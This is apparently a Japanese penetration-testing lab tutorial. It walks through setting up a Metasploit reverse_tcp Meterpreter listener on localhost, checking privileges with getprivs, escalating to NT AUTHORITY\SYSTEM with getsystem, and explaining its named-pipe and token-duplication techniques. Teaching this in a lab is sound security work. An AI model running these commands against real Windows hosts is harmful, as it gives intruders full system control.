はじめに
ペネトレーションテストの分野では、ターゲットシステムへの初期アクセスを獲得することは始まりに過ぎません。多くの場合、初期の足がかりは権限の低いユーザーアカウントであり、許可される操作は限られています。システムを完全に制御するには、Windows の Administrator や、さらに良い場合は NT AUTHORITY\SYSTEM のような、より高レベルのアカウントに権限を昇格させる必要があります。このプロセスは権限昇格と呼ばれます。
Metasploit Framework は、強力なポストエクスプロイトペイロードである Meterpreter を提供しており、この目的のために特別に設計された汎用性の高いコマンド getsystem が含まれています。このコマンドは、現在のセッションの権限を最高レベルに昇格させるためのさまざまなテクニックを自動化します。
この実験では、Windows ターゲットで基本的な Meterpreter セッションを獲得した攻撃者の役割を担います。getsystem コマンドを使用して権限を昇格させ、新しいアクセスレベルを確認する方法を学びます。
Windows ターゲットでの Meterpreter セッションの確立
このステップでは、Meterpreter セッションの獲得をシミュレートします。まず、Metasploit Framework コンソールを開始し、侵害されたマシンからの着信接続を「キャッチ」するためのリスナーを設定する必要があります。
ターミナルを開き、バナーを避けるために quiet モードで Metasploit コンソールを開始します。
msfconsole -q
msfconsole プロンプトに入ったら、汎用的な multi/handler モジュールを使用します。このモジュールは、さまざまなペイロードからの着信接続を処理するように設計されています。
use multi/handler
次に、ハンドラーにどのペイロードを期待するかを指示する必要があります。この実験では、標準的な Windows Meterpreter reverse TCP ペイロードを使用します。
set payload windows/meterpreter/reverse_tcp
リスナーの IP アドレス (LHOST) とポート (LPORT) も設定する必要があります。LHOST は 127.0.0.1 (localhost) に、LPORT は 4444 に設定します。
set LHOST 127.0.0.1
set LPORT 4444
これで、exploit コマンドを実行してリスナーを開始します。-j フラグを使用してバックグラウンドジョブとして実行し、msfconsole プロンプトを他のコマンドで使用できるようにします。
exploit -j
ハンドラーが開始されたことを示す確認メッセージが表示されるはずです。
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444
この実験では、バックグラウンドプロセスが、あなたにコールバックする侵害された Windows ホストをシミュレートします。しばらくすると、Meterpreter セッションが開かれたことを示すメッセージが表示されるはずです。
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:49152) at YYYY-MM-DD HH:MM:SS +0000
この新しいセッションと対話するには、sessions コマンドに -i フラグとセッション ID を続けて使用します。
sessions -i 1
プロンプトが meterpreter> に変わり、ターゲットマシン上の Meterpreter セッション内に入ったことを示します。
meterpreter >
getprivs で現在の権限を確認する
このステップでは、権限昇格を試みる前に、現在のユーザーアカウントが持つ権限を理解することが重要です。Windows では、権限によって、プログラムのデバッグやシステムのシャットダウンなど、ユーザーが実行できる特定のシステムレベルの操作が決まります。
Meterpreter は、現在のプロセス トークンに関連付けられた権限を列挙するために getprivs コマンドを提供します。
meterpreter> プロンプトに入ったら、getprivs コマンドを実行します。
getprivs
出力には、現在のユーザープロセスが持つすべての権限がリストされます。一部の権限はデフォルトで有効になっていますが、他の権限は無効になっている場合があります。
============================================================
Enabled Process Privileges
============================================================
SeChangeNotifyPrivilege
SeIncreaseQuotaPrivilege
SeShutdownPrivilege
SeTimeZonePrivilege
SeUndockPrivilege
この出力は、現在の能力を示しています。多くの権限昇格テクニックが機能するためには、SeDebugPrivilege や SeImpersonatePrivilege のような特定の権限が必要です。このリストを見ることで、次の手を計画するのに役立ちます。
getsystem コマンドを使用して SYSTEM への権限昇格を試みる
このステップでは、Meterpreter の権限昇格のための主要なコマンドである getsystem を使用します。このコマンドは、セッションの権限を NT AUTHORITY\SYSTEM に昇格させるために、いくつかの異なるテクニックを自動的に試行する強力なスクリプトです。
NT AUTHORITY\SYSTEM アカウントは、Windows システム上で最も強力なアカウントであり、事実上すべてのリソースに無制限のアクセス権を持っています。このアカウントの制御を獲得することは、ポストエクスプロイテーションの主な目標となることがよくあります。
meterpreter> プロンプトから、単純に getsystem コマンドを実行します。
getsystem
Meterpreter は、さまざまなテクニックを試行します。成功した場合、どのテクニックが機能したかを示すメッセージが表示されます。「Named Pipe Impersonation」による成功が最も一般的です。
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
コマンドが成功メッセージを返した場合、権限昇格に成功した可能性が高いです。失敗した場合、現在のユーザーのコンテキストでは自動化されたテクニックのいずれも機能しなかったことを意味し、これは権限の不足やシステムの強化が原因である可能性があります。この実験では、コマンドは成功することが期待されます。
getuid で新しい権限を確認する
このステップでは、getsystem を実行した後、権限が実際に昇格されたことを確認する必要があります。これを行う簡単な方法は、現在のセッションのユーザーID を確認することです。
Meterpreter は、この目的のために getuid コマンドを提供します。これはシステムに問い合わせ、Meterpreter サーバーが現在実行されているユーザー名を返します。
meterpreter> プロンプトで、getuid コマンドを実行します。
getuid
getsystem コマンドが成功した場合、出力は現在 SYSTEM ユーザーであることを示すはずです。
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
サーバーのユーザー名として NT AUTHORITY\SYSTEM を表示することは、権限昇格の成功を決定的に確認するものです。これで、ターゲットマシンに対する最高レベルの制御を得ることができました。もし getsystem の前に getuid を実行していた場合、最初に侵害した低権限ユーザーの名前が表示されていたでしょう。
getsystem の様々なテクニックについて議論する
このステップでは、getsystem を実行した際に裏側で何が起こるのかを探ります。このコマンドは単一の魔法のような機能ではなく、既知の Windows 権限昇格テクニックのリストを循環するスクリプトです。
利用可能なテクニックのリストを表示するには、-h フラグを渡して getsystem コマンドのヘルプメニューを使用できます。
getsystem -h
これにより、使用方法のオプションと、それが使用できるテクニックのリストが表示されます。
Usage: getsystem [options]
Attempt to elevate your privilege to that of local system.
OPTIONS:
-h Help Banner.
-t The technique to use. (Default to trying all)
Techniques:
0: All
1: Named Pipe Impersonation (In Memory/Admin)
2: Named Pipe Impersonation (Dropper/Admin)
3: Token Duplication (Admin)
(注意:テクニックの数と名前は、Metasploit のバージョンによって若干異なる場合があります。)
これらのテクニックが何を意味するのかを簡単に見てみましょう。
- Named Pipe Impersonation (In Memory/Admin): これはデフォルトで最も信頼性の高い方法です。SYSTEM として実行されるサービスを作成し、そのサービスが接続する名前付きパイプを作成します。その後、あなたのプロセスはそのサービスのセキュリティコンテキストを偽装し、SYSTEM になります。これらはすべてメモリ内で行われます。通常、成功するには Administrator 権限が必要です。
- Named Pipe Impersonation (Dropper/Admin): これは最初のテクニックに似ていますが、ファイル(DLL)をディスクにドロップすることが含まれます。これはステルス性が低く、アンチウイルスソフトウェアによって検出される可能性が高くなります。
- Token Duplication (Admin): このテクニックは、既に SYSTEM として実行されているプロセスを見つけ、そのアクセストークンを盗み、現在のプロセスに適用します。これには、他のプロセスを検査およびデバッグできる
SeDebugPrivilegeが必要です。
デフォルトでは、getsystem はいずれかが成功するまで、利用可能なすべてのテクニック(-t 0)を試行します。これらの方法を理解することは、getsystem が失敗した場合のトラブルシューティングに役立ち、ターゲットシステムの構成に関する追加情報がある場合に特定のテクニックを手動で選択することを可能にします。
まとめ
この実験では、ポストエクスプロイテーションにおける最も重要なタスクの 1 つである権限昇格を成功裏に実行しました。Metasploit Framework とその Meterpreter ペイロードを活用して、Windows ターゲット上のアクセスを標準ユーザーから全能の NT AUTHORITY\SYSTEM アカウントに昇格させる方法を学びました。
リスナーの設定とセッションの確立から、最終的なアクセスレベルの確認まで、プロセス全体を順を追って実行しました。具体的には、以下のコマンドを使用しました。
- リスナーを設定するために
msfconsoleを使用しました。 - 初期権限を列挙するために
getprivsを使用しました。 - 権限を自動的に昇格させるために
getsystemを使用しました。 NT AUTHORITY\SYSTEMになったことを確認するためにgetuidを使用しました。
最後に、getsystem コマンドが内部で使用する様々なテクニックを探りました。この知識は、異なる環境でコマンドが成功または失敗する理由を理解する上で非常に役立ちます。権限昇格をマスターすることは、あらゆるペネトレーションテスターにとって基本的なスキルであり、getsystem はあなたの武器庫における強力なツールです。



